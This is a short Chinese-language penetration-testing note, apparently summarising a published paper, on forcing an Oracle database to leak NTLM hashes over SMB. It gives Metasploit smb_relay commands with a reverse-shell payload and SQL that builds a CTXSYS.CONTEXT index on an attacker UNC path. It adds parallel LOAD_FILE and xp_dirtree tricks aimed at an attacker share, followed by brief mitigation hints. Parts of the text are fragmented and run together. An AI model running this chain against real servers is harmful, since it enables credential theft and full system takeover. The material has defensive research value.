Oracle 服務以 Administrator/System 高權限運行,且數據庫賃戶擁有 CREATE TABLE、CREATE INDEX 權限 (如默認 DBSNMP : RESOURCE + CONNECT) 時,可構造 CTXSYS.CONTEXT 索引指向 UNC 路徑 (\\attacker\share),誘導 Oracle 進程發起 SMB 連接,配合 Metasploit smb_relay 捕獲 NTLMv2 雜湊並中繼,最終獲得系統 Shell。
DBSNMP (默認口令)sudo /etc/init.d/samba stopuse exploit/windows/smb/smb_relay
set PAYLOAD windows/shell_reverse_tcp
set LHOST
set LPORT 8522
exploit -j
監聽 139 (SMB) 與 8522 (Shell) 端口。
DBSNMP 連接 Oracle 執行:
CREATE TABLE files(id NUMBER PRIMARY KEY, path VARCHAR2(255) UNIQUE, ot_format VARCHAR2(6));
INSERT INTO files VALUES(1, '\\\\192.168.1.52\\mickey', NULL);
CREATE INDEX file_idx ON files(path) INDEXTYPE IS ctxsys.context
PARAMETERS('datastore ctxsys.file_datastore format column ot_format');
cmd.exe Shell 並抓取 NTLM 雜湊。SELECT LOAD_FILE('\\\\attacker\share\mk.txt')EXEC master..xp_dirtree '\\attacker\share' (需 xp_cmdshell 或類似)@?/ctx/admin/catnoctx.sql 徹底移除。CREATE INDEX ... INDEXTYPE IS CTXSYS.CONTEXT、LOAD_FILE、xp_dirtree 等語句。Mickey Shkatov, Penetration: from application down to OS (Oracle) (PDF)
dsecrg.com / googlepages